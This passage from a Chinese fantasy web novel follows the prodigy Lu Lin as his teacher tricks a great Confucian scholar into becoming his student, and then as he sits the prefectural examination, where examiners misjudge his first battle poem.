说完,在一旁的小娘粉面上香了一口,惹得小娘一阵低笑。 沈夫子笑脸吟吟地看着这一幕,捋了捋胡须,笑而不语。 ........... 圣院内室,檀香袅袅。 魏长青与卢璘盘膝对坐,中间隔着一张茶几。 茶几上一壶清茶,两只白瓷杯。 静默许久的魏长青缓缓开口: “修身,齐家,治国,平天下。” “今日得小友解惑,方知我读书人求索之路啊!” 魏长青早已将圣策九字品读过数十遍,如今得卢璘这个作者解惑,越是能理解其间义理深不可测,心中敬意更甚。 能写出这等文章,不是天授其材,又该如何? 文道当兴啊! “是魏大人厚积薄发,学生不敢居功。”卢璘淡然回复。 魏长青闻言摇头,没有在这个话题上纠结,感叹一声: “说来也巧,小友这篇圣策,出现的时机,恰到好处。” “如今的大夏,看似文道昌盛,烈火烹油,实则早已是暗流涌动,危机四伏。” 卢璘闻言点头,却没有追问何为危机,何为暗流。 魏大人愿意说,他便听着。 若是不愿说,问了也是徒劳。 见卢璘这般沉稳,魏长青眼中的赞许之色更浓。 摇了摇头,自嘲一笑: “说来惭愧,县试那日,本官其实就在清河县。” “也亲眼见到了礼器共鸣的百年异象。” “当时本官还以为,是崔家那位嫡子,写出了传世之作。” “是我先入为主,对神童一说,素有偏见,这才误以为是科场舞弊。” “在此,向小友致歉。” “今日得见小友,方知世上,确有天授之才。” 魏长青并非不信神童。 恰恰相反,他自己便是年少成名,弱冠之年便折了蟾宫桂冠,是外人眼中不折不扣的天才。 正因如此,他才愈发瞧不上地方上那些为了钻营,刻意包装出来的所谓神童。 可今日见了卢璘,他才明白。 神童与神童之间,亦有云泥之别。 卢璘闻言,仍旧是神色淡然,言语谦恭地回复: “大人言重了。” “大人日理万机,还能亲临县试巡查,足见您勤于政事,是学生辈的楷模。” 往往越是礼貌周全,越是代表距离。 这也是卢璘刻意为之。 自己是柳府书童,从踏入科场的那一刻起,身上便烙下了柳阁老的印记。 魏大人,是天下皆知的首辅宴居的得意门生。 自己的老师沈夫子,当年便是被宴居一党排挤,这才致仕还乡。 柳阁老与宴居,如今在朝堂之上,依旧是水火不容。 于情于理,他都不可能,也不应该与魏长青走得太近。 背叛阵营这种事,他做不出来。 魏长青何等人物,瞬间便察觉到了卢璘从头到尾表现出的这份距离感。 但他不气反笑,并且心中愈发觉得,卢璘心思通透,七窍玲珑,远非同龄人可比。 同时心里忍不住默默叹了口气,哎,自己又被首辅大人的名声所累啊。 要不然,以自己一省学政的身份,又是这个态度,怎么会让卢璘如此不亲近呢? 第73章 大器免成 夜色渐深,月上柳梢。 一番长谈之后,魏长青亲自将卢璘送到圣院门口。 朱红大门外,魏长青望着卢璘的眼中满是不舍,但也知道卢璘打定了主意要和自己保持距离。 “小友,府试就在后日,若不嫌弃,这几日便在圣院住下,此地清净,也便于你静心温习,好生准备。” 县试之后,便是府试与院试,这两场考试皆在临安府举行。 唯有连过这两关,才算真正考中秀才,踏入士林门槛。 魏长青看着卢璘,心中有些期待。 县试便能写出“修身齐家治国平天下”这等传世宏文。 那接下来的府试与院试,又会写出何等惊世骇俗的文章? 卢璘闻言,摇了摇头,婉言谢绝。 “多谢大人美意,只是柳府在城中自有落脚之处。” 他侧过头,目光落在不远处正探头探脑的少爷身上,嘴角带笑。 “况且,我家少爷……脑子不大灵光,须得有人时时看顾着。” 不远处,少爷见卢璘指向自己,还对自己笑了笑,立刻挺起胸膛,对着卢璘和魏长青猛猛点头。 “璘哥儿果然够义气,知道在学政大人面前夸自己来着。”少爷的笑容一如既往的清澈纯粹。 魏长青顺着卢璘的目光看去,见到少爷那副模样,也忍不住发笑。 当然,他明白这是卢璘找了个借口,与自己保持距离。 魏长青没有强留。 自己头顶着首辅门生的名号,与卢璘走得太近,对他而言,确实未必是好事。 能做的,便是表现出应有的姿态、应有的尊重。 这就够了。 “既如此,本官便不强留了。” 魏长青对着卢璘微微颔首,而后转身返回圣院。 厚重的朱门缓缓关闭,隔绝了内外。 卢璘看着魏长青消失的背影,这才收回目光。 少爷见学政走了,兴冲冲地凑了上来,脸上写满了得意。 “璘哥儿,刚才学政大人是不是夸我来着?怎么夸的?” 卢璘笑着瞥了他一眼,点头: “魏大人说,你是可造之材。” “不读书,真是可惜了。” 少爷闻言,脸上的得意之色更浓,不过又立马化作一声长叹。 他背着手,抬头望月,一副高深莫测的模样。 “哎,可能我这人,是大器晚成吧。” “小时了了,大未必佳,我便是反着来的。” “只是这天资,体现得是晚了点。” 卢璘心里忍不住发笑,我看你不是大器晚成,是大器免成,根本不用雕琢,这个心态一般人哪比得上啊! 只能是天生的啊! ............ 翌日,天光微亮。 柳府在临安府的别院内。 即便是初春,卢璘仍只穿着一袭单薄的青衫,立于庭院中央的青石板前。 手持一支大号的毛笔,身旁木桶里盛着清水,而非墨汁。 以水为墨,以石板为纸。 这是卢璘从练字以来,就一直坚持的习惯,寒暑不辍。 笔尖饱蘸清水,在粗糙的石板上游走。 一个“道”字,转瞬而成。 字迹风骨天成,隐隐有自成一派的气象。 一笔之内,可见颜筋雄浑。 一划之中,又藏柳骨刚健。 这便是魏长青等人初见他字迹时,会那般震惊的原因。 没有数十年浸淫书法一道的苦功,绝难有此气度。 他们又怎会知晓。 卢璘的脑海中,承载的是另一个世界数千年璀璨的文明。 王羲之,颜真卿,柳公权,苏东坡..... 一位位书法大家的传世名作,早已烂熟于心。 他要做的,只是将这些前人智慧结晶,融会贯通,走出自己的道路。 石板上的水痕,渐渐蒸发,字迹随之消散。 卢璘神色不变,提笔再写。 半个时辰后,依旧笔走龙蛇,不为外界所动。 这时,院门被轻轻推开。 两道身影走了进来。 沈夫子搀扶着一个烂醉如泥的落魄书生,脸上满是无奈。 他前几次来府城,也都是在此处落脚,这次自然不例外。 只是师兄昨夜在烟雨楼太过尽兴,直到此刻才肯回来。 一进门,沈夫子便看到了正在石板前练字的卢璘,眼中闪过一丝欣慰,却并不意外。 几年如一日,沈夫子早就习惯了弟子的自律。 沈夫子不意外,卢璘却有些意外,他停下笔,看向沈夫子两人,有些疑惑。 夫子不是应该还在清河县吗? 怎么也来府城了? “夫子。”卢璘放下笔,躬身行礼,目光落在了夫子身旁的落魄书生身上。 “这是我的师兄。”沈夫子开口解释。 话音刚落,沈夫子师兄被风一吹,打了个酒嗝,摇头晃脑地突然开口: “好酒,好曲儿。” “烟雨楼的小娘子,水灵得很,比京城的都不差。” “怪不得你沈春芳,宁愿窝在这江南道,也不愿回京。” 沈夫子闻言满脸黑线,面露尴尬之色。 师兄真是太不靠谱了,在我弟子面前嘴巴也没个遮拦了。 “师兄喝多了,喝多了!” 卢璘神色如常,转过头去,当做什么都没听到。 尴尬过后,沈夫子怕师兄再说出什么惊世骇俗的胡话,没有和卢璘多言,扶着师兄就准备往房里去。 快要走到厢房门口时,沈夫子脚步一顿,像是想起了什么,回过头看向卢璘: “璘哥儿。” “昨日那份原稿,你没有给魏长青吧?” 卢璘闻言,心中讶然。 旋即便反应了过来。 夫子昨日应该就一直跟在附近,同时也跟着上访队伍一同来的府城。 应该是担心自己有不测,所以夫子一直暗中护持着。 卢璘心底一暖,对沈夫子点了点头。 “那你待会把原稿送我房间来。” “好的,夫子。” 第74章 各论各的 一天的时间很快过去。 卢璘除了去了一趟沈夫子房中送去原稿,其余时间都在自己的房间内看书温习,为第二场府试做着准备。 府试的内容,是战诗词的应用。 这对于有着另一个世界数千年璀璨诗篇的卢璘而言,并不算难。 可即便有把握,卢璘也没有丝毫松懈。 卢璘很清楚,想要再写出“修身齐家治国平天下”这等品级的文章,几乎是不可能的事。 县试那日,若非题目恰好契合,若非他耗尽了积攒的所有才气。 再加上取巧,只在最后以那九字真言点题,才侥幸写出了这篇足以传天下的圣策。 天时,地利,人和。 缺一不可。 这等巧合,再想复刻太难了。 …… 另一间房内。 睡了一天的落魄书生悠悠醒转,宿醉得头痛欲裂,让他忍不住按住了太阳穴。 体内才气微微运转,昏沉的不适感这才缓缓消散。 清醒过来后,落魄书生推门而出。 门外,沈夫子正满脸笑容地走过来,手里还拿着一份书稿。 落魄书生一见他笑的那副样子,也大概知道是怎么回事了。 靠在房门上,斜睨了他一眼,懒洋洋地开口: “看来是你弟子洗脱舞弊的嫌疑了?” 沈夫子闻言脸上的笑意更浓了。 不过他没有正面回答师兄的问题,反而开口发问: “师兄,昨夜在烟雨楼说过的话,还记得吗?” 落魄书生眉头一皱,烟雨楼? 昨晚在烟雨楼说了那么多,谁知道这老小子提的哪件事? 难不成跟后来的小娘子说了什么不该说的? 落魄书生飞快地在脑海中回忆了一遍,想了好一会,也没回忆起自己说了什么出格的言论。 沈夫子一看他这副模样,就知道师兄早就忘得一干二净了。 他也不卖关子,直接复述了师兄昨夜的豪言壮语。 “若真有十二岁写出传天下文章,与文曲星下凡何异,这等天资,我拜他为师又何妨。” 沈夫子笑眯眯地看着他。 “此言,当真否?” 落魄书生闻言,不屑一笑。 他还以为自己酒后失言,说了什么心学一派的秘密。 闹了半天,就这? 他一点都没放在心上,随意地点了点头。 “不仅拜师。” “我还行拜师大礼。” 沈夫子脸上的笑容愈发灿烂,一把拉住落魄书生的胳膊,就往房里走。 “拉拉扯扯,成何体统!”落魄书生嘴上抱怨,身体却还是被师弟拉进了房中。 关上房门后,沈夫子将手中书稿,郑重其事的递到落魄书生面前。 落魄书生有些意外,莫名其妙给我一份书稿做什么? 接过书稿,他随意的翻开。 下一瞬,落魄书生的目光便被纸上那九个铁画银钩的大字,给死死吸住了。 一旁的沈夫子见状,捋须微笑。 ........... 良久,柳府别院突然传来一声震耳欲聋的呼喊。 “沈春芳,老贼误我啊!” 声音之大,穿透了墙壁与庭院,整个柳府都听得一清二楚。 沈夫子所在的房内。 落魄书生一脸的生无可恋,瘫坐在椅子上,眼神空洞地望着房梁。 而对面的沈夫子则是一脸笑意盈盈,春风得意。 “师兄,莫要激动。” “咱们各论各的。” “你喊我师爷,我喊你师兄,不碍事,不碍事。” 落魄书生闻言气得浑身一哆嗦,抬起手指着沈夫子,嘴唇翕动,却半天说不出一句话来。 就在刚才,当他看完“修身齐家治国平天下”这篇宏文,忙着追问此等宏文出自何人之手时。 这老贼口中轻飘飘地来了一句。 “不过是门下十二岁劣徒县试所作....” 劣徒、县试、十二岁。 落魄书生才了然,自己这是着了道儿了。 良久,他才缓过劲来,指着沈夫子的鼻子,气得摇头叹气。 “你……你这老小子,早就知道你弟子写出了传天下的文章,故意拿话激我!” 沈夫子闻言笑而不语。 落魄书生见沈春芳那副样子,气得牙根痒痒,但又无可奈何。 毕竟是自己着了他的道,口出狂言。 良久,落魄书生才悠悠地叹了口气,开口道: “师弟啊师弟,师父他老人家在天有灵,知道有你这么个好弟子,真是他的万幸。” “师父死了这么多年,怕是都想不到,自己还要遭这么一个坎。” 开口第一句,沈夫子听出了师兄的阴阳怪气,同时还拿师父压自己,但沈夫子丝毫不为所动。 落魄书生见状,又换了个方式: “你这是要让师父他老人家一手创立的心学,就此后继无人啊!” 这是拿师父压不成,开始打感情牌了啊。 沈夫子微微一笑,不急不躁,还是不为所动。 “不冲突,不冲突。” “把璘哥儿吸纳进咱们心学一派,不就成了?” 话锋一转,沈夫子脸上的笑容变得意味深长。 “莫不是……师兄打算言而无信,不准备信守承诺了?” “也罢,也罢。” 沈夫子故作姿态地叹了口气,眼神却偷偷瞟着落魄书生的反应。 “叫师兄你认我弟子为师,确实是为难师兄了,哎。” 落魄书生一口气堵在胸口,差点没上来。 他哪里听不出这老小子是在拿话刺激自己。 今天非得让自己认一个十二岁的稚童为师不可是吧? 落魄书生直勾勾地看着沈夫子,见沈夫子态度不变,才长长地叹出一口气。 罢了。 自己说出的话,泼出去的水。 落魄书生无力地摆了摆手。 “去吧,大丈夫一诺千金,准备好拜师的束脩。” 沈夫子闻言,脸上的笑意再也藏不住,大笑一声,转身便出了门去。 房间里,只剩下落魄书生一人。 他看着空荡荡的门口,许久才摇了摇头,嘴角竟也勾起笑意,笑了好一会后,脸色才恢复如常。 “师弟啊师弟,你这般处心积虑为那弟子考虑,就不怕再养出一个白眼狼?” “我们心学可再也经不起折腾了啊....” 落魄书生低声自问,像是在问自己,又像是在问神明。 望着窗外云卷云舒,落魄书生眼含追忆,脑海中浮现当年的心学盛景。 二十年前,心学还是大夏儒家五大流派之首。 门下弟子,遍布朝野,渗透官场各个阶层。 最鼎盛的时候,内阁七位大学士,竟有四人出自心学门下。 大夏士林,甚至流传着翰林多心学的说法。 何等的风光无限。 可这一切,都随着一个人的出现与离开,轰然崩塌。 二十年前,此人拜入师门。 师父视其为心学复兴的希望,倾囊相授,寄予厚望。 可谁又能想到,被师父引为最得意的弟子,最后却成了心学一派的掘墓人。 他叛逃了。 不仅自己叛逃,还带走了心学当时最有潜力的那批骨干。 自立门户,另起炉灶,自创一套“天人感应”学说,公然把心学贬入尘埃。 心学一派,自此元气大伤,盛况不复。 师父也因他心力交瘁,郁郁寡欢,没过几年便含恨而终。 此人便是如今权倾朝野,一人之下,万人之上的当朝首辅。 宴居。 这也是沈春芳宁愿致仕还乡,窝在清河县小地方,也不愿再踏足京城半步的缘由。 落魄书生缓缓闭上眼。 脑海中,卢璘奋笔疾书,写下“修身齐家治国平天下”样子,好像与二十年前,宴居初入师门时写下的文章,竟有些重合。 一样的惊才绝艳。 一样的气吞山河。 一样的,让人看到了无限可能。 第75章 心学! 客厅内,少爷正对着大厅中一面等身高的铜镜,仔细整理着自己的衣冠。 都快临近傍晚了,少爷却穿上了一身月白色的锦袍,腰间悬着佩饰,头发打理得一丝不苟。 整个人收拾得风流倜傥,人模狗样。 刚从外面散步回来的卢璘,一见到少爷这副骚包模样,忍俊不禁: “哟哟哟,少爷你这打扮得这么风流倜傥,看来好事将近啊?哪家的大家闺秀啊?” 少爷闻言,非但不恼,反而得意地转过身,在卢璘面前显摆了一圈。 “你懂什么,以后我得好好打理自己了,不能和之前一样不修边幅。” 他清了清嗓子,背着手,迈开八字步。 “如今你名满临安,我身为你的少爷,出门在外,自然不能堕了你的威风。” 卢璘闻言忍不住发笑,骚包就骚包,还给自己扯上关系。 看来少爷这是到了发春的年纪啊。 这时,院门被人推开。 沈夫子与落魄书生一前一后地走了进来。 卢璘和少爷一见两人,都有些意外。 沈夫子倒是双手空空,可一旁的落魄书生手里大包小包的提了不少。 怀里还抱着一只扑腾着翅膀的大白鹅。 鹅被搂在怀中,伸长了脖子,时不时发出嘎嘎声,显得极有精神。 “这是上哪家拜师去啊?十条干肉,酒,还有大白鹅。” 卢璘一眼就看出这是拜师所用的束脩之礼,当年他拜入沈夫子门下的时候,夫人也准备了一份。 沈夫子闻言一笑,径直走到卢璘面前,回答了卢璘的疑惑。 “璘哥儿,你要学生不要?” “要的话,点个头,我这就给你送来。” 卢璘闻言一愣。 学生? 自己连秀才的功名都还没考下来,收哪门子的学生。 夫子说的是他? 卢璘转头,望向沈夫子身旁的落魄书生。 一副不修边幅的慵懒模样,衣袍松垮,头发也有些凌乱,眼神里透着一股什么都不在乎的劲。 这都一把年纪了,让他当自己的学生? 沈夫子见卢璘不说话,笑意更浓。 “我这位师兄,昨日看了你的县试文章,大彻大悟。” “非说你是他命中的师父,吵着闹着要拜你为师。” “我拦都拦不住。” 说完,沈夫子还回头看了一眼落魄书生,用眼神示意他赶紧表个态。 落魄书生像是没睡醒,懒洋洋地打了个哈欠,不情不愿地点了点头。 卢璘这下更意外了。 这人是夫子的师兄,那便是自己的师伯。 师伯拜师侄为师? 这叫什么道理。 以后见了面,这关系到底该怎么论? 沈夫子像是看穿了卢璘的心思,摆了摆手。 “各论各的,不碍事。” “你别看我这师兄卖相不好,好处可多着呢。” “他出身名门,年纪又大,不用你操心吃穿用度。” “自己身上还有功名,文位也不低,你收下他,利大于弊。” 沈夫子这番话说得直白,卢璘却从中听出了一丝不同寻常的意味。 脸上的随和渐渐收敛,神情变得郑重,看着沈夫子。 “夫子,您确定吗?” 沈夫子脸上的笑容也淡去,直直地望着卢璘,点了点头。 “既然夫子希望我收,那我便收下。” “只是拜师就不必了,以师父相称,晚辈也受不起。” “日后,我们平辈论交即可。” 话音刚落,一直沉默不语的落魄书生,却主动开了口: “你可要想清楚了。” “收下我这个弟子,你我之间结下的因果,可就不浅了。” 卢璘闻言有些意外,落魄书生斜睨着他,开口解释其中缘由: “你现在是柳府书童,虽说目前打着柳阁老的烙印。” “可等你考中了秀才,脱去奴籍,便算是天高任鸟飞。” “届时,旁人也不会非要把你和柳阁老划为一个阵营。” 顿了顿,咧嘴一笑: “但和我扯上关系,那可就不一样了。” “日后进了官场,以后想要左右逢源,就不可能了。” .......... 半个时辰后 大厅里,气氛安静得有些怪异。 刚刚过去的半个时辰里,沈夫子和落魄书生两人,你一言我一语,把关于心学的来历都告诉了卢璘。 等待着卢璘做出选择。 此刻的卢璘脑海中一边回忆,一边思索。 沈夫子与他师兄出自儒家五大流派之一的心学。 心学一派,曾盛极一时,门生故吏遍布朝野,风光无两。 可如今,早已不复当年盛况。 只因一个人。 当朝首辅,宴居。 这位权倾朝野的首辅大人,早年也曾是心学弟子,却最终叛出师门,另立山头,反将心学一派打压得几乎喘不过气来。 收下夫子的师兄,便等同于公然站在了首辅的对立面。 等同于踏入了这个泥潭。 以后在官场之上,除非一辈子不暴露这层关系,否则便是举步维艰,处处皆敌。 厅内落针可闻。 沈夫子端坐在椅子上,手指无意识的摩挲着茶杯。 落魄书生也收起了慵懒的模样,斜靠在椅子上,目光落在卢璘身上。 该说的,他都说了。 这小子会怎么选? 卢璘终于动了。 他没有立刻回答,而是走到茶壶边,提起水壶,先为沈夫子续上热茶,又给那位师兄面前的空杯斟满。 做完这一切,卢璘才缓缓开口,声音平静。 “夫子待我,恩重如山。” “学生无夫子,无以至今日...” 卢璘从来都不是忘恩负义之人,刚才的犹豫也不是权衡利弊。 从他拜入沈夫子门下的那一刻起,在旁人眼中,他身上就早已烙下了心学的印记。 如今再谈撇清关系,未免太过天真,也太过凉薄。 更何况,师恩难报。 卢璘抬起头,目光清澈,直视着沈夫子。 “一切全凭夫子做主。” 沈夫子闻言长长地吐出了一口气,捋着长须,口中连道:“好好好!” 刚才的凝重一扫而空,脸上满是发自内心的笑意。 而后站起身,郑重地指了指身旁的落魄书生。 “璘哥儿,我为你正式介绍。” “这位是我的师兄,王晋。” “在朝中并无官位。” 卢璘闻言,脸上没有丝毫意外。 出身于日渐式微的心学一派,没有官位,才是最正常的状态。 可下一刻,沈夫子的话,却让整个大厅的空气都凝固了。 “不过,他倒是有个文位。” 沈夫子顿了顿,一字一句,清晰无比。 “文位,大儒” 第76章 府试开考 大儒? 行走的大儒? 卢璘瞳孔微缩,眼神里满是难以置信。 大夏文道,文位至高。 而大儒,便是站在文位金字塔顶端的存在。 每一个,都是行走的圣贤,是镇压一国气运的定海神针。 前世创立了心学的半圣王阳明,便属于这个层次。 言出法随,一念可动山河。 春秋笔法,一字可灭万军。 这等人物,一人,便是一座雄关,便是一支军队。 整个大夏,明面上的大儒,也不过双手之数。 每一个都身居高位,或在翰林院著书立说,或在稷下学宫教化万民。 怎么会…… 眼前这个懒散落魄的落魄书生居然是大儒? 看着卢璘投来疑惑的目光,沈夫子重重地点了点头,肯定了他的猜测。 卢璘见夫子给出了肯定答复,终于明白了夫子的用意。 什么拜师,什么加入心学,什么结下因果。 这些,或许都是真的。 但都不是最重要的。 最重要的,是夫子担心自己那篇传天下之文太过惊世骇俗,木秀于林。 他这是在为自己找一个护道之人。 而且一个大儒品级的护道人。 ....... 翌日,天光微亮。 早早就起来的卢璘,照例练完字。 接着又洗漱完毕,换了身衣服,背着早已备好的行囊,精神焕发地走出了柳府别院。 即便昨夜直到半夜才阖眼,可他此刻没有半分疲态。 任谁知道自己名义上收了个当世大儒当学生,怕是都会激动得难以入眠。 当然,卢璘不敢真的把那位师伯当学生来使唤。 以前怎么样,现在还是怎么样。 他心里清楚,这是夫子在为自己寻一重保障,上了一层保险。 用不上当然最好。 .......... 天光渐亮,薄雾未散,街道两旁的店铺正陆续卸下门板,早点铺子的蒸笼冒着腾腾热气,混杂着烟火气息。 街上渐渐出现三三两两的身影,大多是与他一样,行色匆匆,赶赴考场的学子。 今天是府试下场的日子。 一路前行,很快卢璘来到了府试的考点。 考场设在一座阔气的大宅院内,门楣上悬着“临安府府试院”的匾额,比县试的考场要气派得多。 院门外,一排排神情肃穆的衙役手持水火棍,维持着秩序。 参加府试的考生,在衙役的指挥下,分成了五列长队,等待着入场前的检查。 卢璘寻了一列队伍的末尾,静静站好。 他年纪尚小,身形在人群中并不起眼,可很快,便有眼尖的学子认出了他。 “快看,那个就是清河县的县试案首?” “这么小?” 窃窃私语声在队伍中响起,不少目光都汇聚了过来。 一个来自安溪县的学子撇了撇嘴,声音里带着明显的轻视。 “清河县的文风看来真是不行了,竟让一个黄口小儿拔得头筹。” “这种案首,没什么含金量,如何能与我安溪县的案首相比?” 他身旁几人纷纷点头附和。 队伍里,几个同样来自清河县的学子听到这番话,脸上露出一丝古怪的笑。 还有人瞧不起我清河县案首? 这是什么落后地方出来的考生! 还安溪县的案首? 什么档次,也配和我清河县的案首比? 他能写出传天下之文吗? 这念头在他们心中一闪而过,却并未宣之于口。 毕竟传天下之文太过匪夷所思,若非亲眼所见,他们自己都不会相信。 等着吧,等府试放榜,看你们还笑不笑得出来。 想到这里,几位清河学子不约而同地挺直了腰杆,只觉得与卢璘同出一县,脸上都与有荣焉。 卢璘对周遭的议论声充耳不闻,心如止水,目光平视着前方。 轮到他时,负责检查的衙役上下打量了他一眼。 见他年纪小,面孔又生,一看就不是府城本地人,眼神里便多了几分审视。 衙役的检查格外仔细,几乎是将他的行囊翻了个底朝天。 末了,衙役粗声粗气地发号施令。 “把外衣脱了。” 卢璘闻言皱眉,其他队伍的考生检查都没有一这遭,到我这里就要脱衣了? 这么刻意的刁难,是欺负我年纪小? 卢璘正准备开口,另一名衙役快步走了过来,在那衙役耳边飞快地低语了几句。 负责检查的衙役脸色唰的一下就变了。 看向卢璘的眼神瞬间变得惊恐。 衙役手忙脚乱地将卢璘的行囊整理好,双手奉上,连连躬身道歉。 “小……小的有眼不识泰山,冲撞了公子,还望公子恕罪,恕罪!” 他不过因为卢璘年龄小而瞧不起,简单刁难一下,没想到居然踢到了铁板。 “学政大人亲自点名让关照的对象,自己要是刁难他,怕是死都不知道怎么死的!” 卢璘点了点头,接过行囊,没有把这件小事放在心上,转头走进了考场。 卢璘是走了,还在排队的队伍热闹了。 尤其是刚才衙役们点头哈腰的模样,让周围排队的学子全都看傻了。 “这什么情况?清河县案首什么时候在府城有这么大的能量了?” “学政是他家亲戚啊?” 几名清河县的学子闻言,差点笑出了声音,心里忍不住念叨: “看到没有,这就是我们清河县案首的含金量。” “这才哪到哪啊,你们是没见过学政魏大人给卢璘行半师之礼呢。” .......... 府试院内,青石铺地,肃穆庄严。 在专人引领下,卢璘来到了自己的考舍。 与县试不同,府试的考场被隔成一间间独立的号舍。 不过空间狭小,仅能容下一桌一椅。 考舍的位置是根据县试的成绩来的,所以分配给卢璘的号舍位置很不错。 既远离入口处的吵闹,也闻不到远处茅厕传来的异味。 卢璘很快放好东西,在座位上坐。 不多时便有人送来笔墨纸砚,一应俱全。 府试只考一场。 考的是战诗词的应用。 共设三道考题,三首战诗词,最终以三首的综合成绩评定高下。 “当” 钟鸣声响起,吉时一到,考场中央的半空中,有金光汇聚。 紧接着一行熠熠生辉的大字凭空浮现。 “绝境诗!” 这就是第一道考题。 大字下方,一行行小字随之显现,将考题的场景描摹得一清二楚。 你率残军被困于孤城,城中箭尽粮绝,兵卒疲敝。 城外,妖蛮大军即将发动最后的总攻。 此刻需作一首战诗词。 此诗既要能点燃麾下士卒的死志,又要能引动天地异象,震慑敌胆。 看到考题,卢璘便胸有成竹了。 伸出手,拿起桌上的墨锭,开始研磨。 第77章 至公堂 卢璘蘸墨提笔,几寸粗细的凝实才气透出笔尖。 下一刻,卢璘动了,动作行云流水,没有半分迟滞。 笔尖在宣纸上游走,时而龙飞凤舞,时而铁画银钩。 ............... 约莫一炷香的时间后,卢璘呼吸变得急促,额头上渗出细密的汗珠。 耗尽最后一丝才气后,终于把最后一句完整地写完。 停下笔的卢璘吐出一口长气,将毛笔轻轻搁在笔架上,缓缓闭上双眼。 一边调整着自己的呼吸,一边恢复着体内的消耗。 这首词,果然不愧是豪放词中的扛鼎之作。 仅仅是将其写出来,便几乎抽空了自己体内才气。 若非有【修身】特性加持,让自己的才气底蕴远胜他人,恐怕连完整写完的资格都没有。 不过,一切都值了。 此词一出,这等场景下的战诗词再难有与其争锋之作。 稍微缓过来一点的卢璘,拿起腰间悬挂的一块玉佩,缓缓摩挲,嘴角带笑。 王师伯给的这份见面礼,还真是个不得了的宝贝。 这等足以引动天地异象的战词,写完之后,竟是半点波澜都无。 连一丝才气都未曾外泄。 也不知是何等品阶的宝物,竟有如此遮蔽天机之能。 .......... 正对面的号舍内,一名来自安溪县的考生还没有动笔的头绪,此刻正抓耳挠腮,满头大汗。 无意间一抬头,正好看见卢璘收笔闭目,一副悠闲养神的模样,下意识的一愣。 这不是清河县的案首吗? 怎么这么快? 自己连半点头绪都没有,此人就已经停笔了? 此人皱眉,旋即见卢璘号舍内没有半点才气波动,更无半点异象产生的征兆。 当即摇头轻笑:定是胡乱写了一通,应付了事。 哪怕是出县级别的战诗词,都会有才气痕迹遗留,可这清河县的案首,连半点才气波动都没有。 不是乱写是什么? 也不知道清河县的案首是怎么选出来的 安溪县考生彻底放下心来,摇了摇头。 他收回目光,重新落回自己面前那张空白纸上,眉头拧成了一个疙瘩。 哎,这场景也太难了。 既要激发士卒死战之心,又要引动异象震慑敌军,还能直接增强战力。 寻常的边塞诗,虽能壮行色,却无杀伐之力。 而专为杀伐的战诗,又往往失于意境,难以引动天地共鸣,震慑敌胆。 如何才能将这几者,完美地融于一首诗中。 难难难啊! .......... 体内的才气在【修身】的加持下,正一丝丝地恢复着。 卢璘再次睁开眼时,已经确保才气能够支撑下一场考题了。 他将桌上的考卷拿了起来,仔仔细细地又检查了一遍。 字迹、内容、格式,确认没有任何疏漏。 伸出手,拉动了号舍角落里垂下的一根细麻绳。 这根麻绳连接着号舍外的一个小铜铃,是考生在考试期间,用来呼唤吏员上厕所或是提前交卷用的。 不多时,两名吏员的身影便出现在了号舍门口。 看到卢璘那张年轻的脸,两人都有些意外。 “何事?”其中一人开口询问。 “交卷。” 两名吏员闻言,脸上的意外之色更浓了。 这才过去多久,第一个考题的时限都还没到一半,就有人交卷了? 两人相互对视一眼,都从对方眼中看到了一丝不以为然。 两人都有文位在身,自然能察觉到卢璘号舍中的才气波动。 可这半点才气的痕迹都没有,又没表现出异象。 不用多想,肯定又是见考题太难,乱写一气的考生了。 其中一人还是按规矩确认道:“一旦交卷,便不可再做任何修改,你可想清楚了?” “想清楚了。”卢璘点头。 见卢璘态度坚决,吏员不再多言,一人走进狭小的号舍,取出一张白纸与一小罐浆糊。 动作熟练地将写有卢璘姓名、籍贯等信息的考卷一角,用白纸严严实实地糊住。 这便是糊名,为了防止阅卷官在批阅时,因考生身份而产生偏袒。 做完这一切,另一名吏员则将桌上的笔墨纸砚,甚至包括镇纸,都一一收走。 “下一道考题会在午后公布。” “在此期间,你可以休息,也可以吃饭、上厕所,但切记不可发出声响,打扰其他考生。” 吏员照例将规矩交代清楚。 府试的规则比县试要人性化一些。 整整一天的考试时间里,考生共有五次休息的机会,期间会有专人送来清水与干粮。 卢璘点了点头,表示自己知道了。 两名吏员不再停留,一人提着卢璘的考卷,一人拿着文具,转身离去。 卢璘则靠在号舍的墙壁上,闭上双眼,准备小憩片刻。 …… 两名吏员提着东西,穿过一排排号舍,最终来到了一座名为至公堂的大殿前。 这里,便是府试考官们专门用来批阅试卷的场所。 取科举至公无私之意,故名至公堂。 殿内,十几名阅卷官正襟危坐,神情肃穆。 为首的主考官见两人进来,有些意外地抬起了头。 “这么快就有人交卷了?” “回大人,是一位年纪不大的考生。” 其中一名吏员躬身答道,同时将卢璘的考卷双手奉上。 主考官却没有立刻去接那份考卷,而是开口问道。 “收卷之时,可有异象产生?” 吏员闻言,摇了摇头。 “回大人,别说异象,连半点才气波动都未曾察觉。” 为了节省时间和精力,阅卷官们通常会提前询问收卷的吏员。 那些有异象产生,或是才气波动极为剧烈的试卷,会被单独挑出来,优先批阅。 这早已是约定俗成的惯例。 主考官闻言,点了点头,脸上最后一丝兴趣也没了。 连才气波动都没有,说明连最基础的出县品级都未达到。 这等水平,自然不可能是优秀的作品。 “看来这第一场的考题确实是有难度,这么快就有放弃了的考生了。” “既是下等,便放去左侧最底下吧。”主考官有些意兴阑珊地挥了挥手。 左侧的桌案上,堆放的都是阅卷官初步判定为不合格的考卷。 而最底下,则是连复审资格都没有的考卷。 “是,大人。” 第78章 第二场考题 一直到午后,第一场考题的时间结束铃响,卢璘才睁开眼。 周围的号舍里,顿时响起一片长长的吐气声,夹杂着笔杆落桌的轻响。 不少考生像是被抽干了力气,瘫在椅子上,揉着发胀的太阳穴,一副如释重负的样子。 看来光是第一场的考题,就把许多考生折磨得不轻。 紧接着,有吏员的声音在各处号舍外响起。 “第一场已毕,诸位考生可稍作歇息,恢复才气。” “半个时辰后,将公布第二场考题。” 考生们有的在号舍内静坐,闭目养神回复才气,也有的拉响铃铛,准备进食或者上厕号等等。 卢璘也拉动了号舍角落里的麻绳,趁着这个空档,准备去一趟厕号。 厕号外,排队的考生不少。 卢璘到的时候,队伍前面已经站了十几个人。 他安静地排在队尾,听着前方考生们的议论。 “听说了吗?乙字号那边,刚才有达府异象出现,而且不止一次。” “乙字号?那边大多是云渡县的考生吧?果然是文风鼎盛之地,府试都能出达府之作。” “那当然,云渡县在咱们临安府下辖十几个县里,文教一直是顶尖的。” 一个声音忽然插了进来。 “说不定是清河县的考生呢?我记得乙字号考场还有不少清河县的考生吧?” 